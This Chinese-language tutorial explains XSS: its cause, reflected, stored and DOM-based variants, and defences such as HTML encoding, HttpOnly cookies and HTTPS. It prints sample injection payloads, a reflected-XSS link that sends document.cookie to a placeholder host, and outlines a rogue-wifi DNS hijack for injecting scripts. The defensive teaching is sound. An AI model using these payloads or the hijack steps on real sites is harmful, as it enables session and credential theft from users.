標籤:解密 原因 引號 過濾 arc ted 儲存 指令碼 截取
Web安全之 XSS
XSS: (Cross Site Scripting) 跨站指令碼攻擊, 是Web程式中最常見的漏洞。
指攻擊者在網頁中嵌入用戶端指令碼(例如JavaScript), 當使用者瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的. 比如擷取使用者的Cookie,導航到惡意網站,攜帶木馬等。
一、產生原因
假如有下面一個textbox
<input type="text" name="address1" value="value1from">
value1from是來自使用者的輸入,如果使用者不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那麼就會變成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代碼將會被執行
或者使用者輸入的是 "onfocus="alert(document.cookie) 那麼就會變成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被觸發的時候嵌入的JavaScript代碼將會被執行
攻擊的威力,取決於使用者輸入了什麼樣的指令碼
HTML Encode
XSS之所以會發生, 是因為使用者輸入的資料變成了代碼。 所以我們需要對使用者輸入的資料進行HTML Encode處理。 將其中的"中括弧", “單引號”,“引號” 之類的特殊字元進行編碼。
二、攻擊情境
- Reflected XSS(基於反射的XSS攻擊)
- Stored XSS(基於儲存的XSS攻擊)
- DOM-based or local XSS(基於DOM或本地的XSS攻擊)
1. Reflected XSS
主要依靠網站服務端返回指令碼,在用戶端觸發執行從而發起Web攻擊。
假如在某搜尋網站搜尋內容,填入“<script>alert(‘handsome boy‘)</script>”, 點擊搜尋。
當前端頁面沒有對返回的資料進行過濾,直接顯示在頁面上, 這時就會alert那個字串出來。 進而可以構造擷取使用者cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:
http://www...../search?name=<script>document.location=‘http://xxx/get?cookie=‘+document.cookie</script>
開發安全措施:
1) 前端在顯示服務端資料時候,不僅是標籤內容需要過濾、轉義,就連屬性值也都可能需要。
2) 後端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。
2. Stored XSS
通過發錶帶有惡意跨域指令碼的文章/文章,從而把惡意指令碼儲存在伺服器,每個訪問該文章/文章的人就會觸發執行。
例子:
1. 發一篇文章,裡麵包含了惡意指令碼
今天天氣不錯啊!<script>alert(‘handsome boy‘)</script>
2. 後端沒有對文章進行過濾,直接儲存文章內容到資料庫。
3. 當其他看這篇文章的時候,包含的惡意指令碼就會執行。
PS:因為大部分文章是儲存整個HTML內容的,最上層顯示時候也不做過濾,就極可能出現這種情況。
結論:
後端儘可能對提交資料做過濾,在情境需求而不過濾的情況下,前端就需要做些處理了。
開發安全措施:
1) 首要是服務端要進行過濾,因為前端的校正可以被繞過。
2) 當服務端不校正時候,前端要以各種方式過濾裡面可能的惡意指令碼,例如script標籤,將特殊字元轉換成HTML編碼。
3. Dom-Based XSS
基於DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段指令碼或者是直接返回一個釣魚頁面,從而植入惡意指令碼。這種直接存在於頁面,無須經過伺服器返回就是基於本地的XSS攻擊。
例子1:
1) 提供一個免費的wifi。
2) 開啟一個特殊的DNS服務,將所有網域名稱都解析到我們的電腦上,並把Wifi的DHCP-DNS設定為我們的電腦IP。
3) 之後連上wifi的使用者開啟任何網站,請求都將被我們截取到。我們根據http頭中的host欄位來轉寄到真正伺服器上。
4) 收到伺服器返回的資料之後,我們就可以實現網頁指令碼的注入,並返回給使用者。
5) 當注入的指令碼被執行,使用者的瀏覽器將依次預先載入各大網站的常用指令碼庫。
這個其實就是wifi流量劫持,中間人可以看到使用者的每一個請求,可以在頁面嵌入惡意代碼,使用惡意代碼擷取使用者的資訊,可以返回釣魚頁面。
結論:
這攻擊其實跟網站本身沒有什麼關係,只是資料被中間人擷取了而已,而由於HTTP是明文傳輸的,所以是極可能被竊取的。
開發安全措施:
1. 使用HTTPS!HTTPS會在請求資料之前進行一次握手,使得用戶端與服務端都有一個私密金鑰,服務端用這個私密金鑰加密,用戶端用這個私密金鑰解密,這樣即使資料被人截取了,也是加密後的資料。
漏洞恢複
- 將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能擷取到cookie了.
- 只允許使用者輸入我們期望的資料。 例如: 年齡的textbox中,只允許使用者輸入數字。 而數字之外的字元都過濾掉。
- 對資料進行Html Encode 處理
- 過濾或移除特殊的Html標籤, 例如: <script>, <iframe> , < for <, > for >, " for
- 過濾JavaScript 事件的標籤。例如 "onclick=", "onfocus" 等等。
參考連結
http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
http://www.cnblogs.com/lovesong/p/5199623.html
https://www.cnblogs.com/index-html/p/wifi_hijack_3.html
web安全之XSS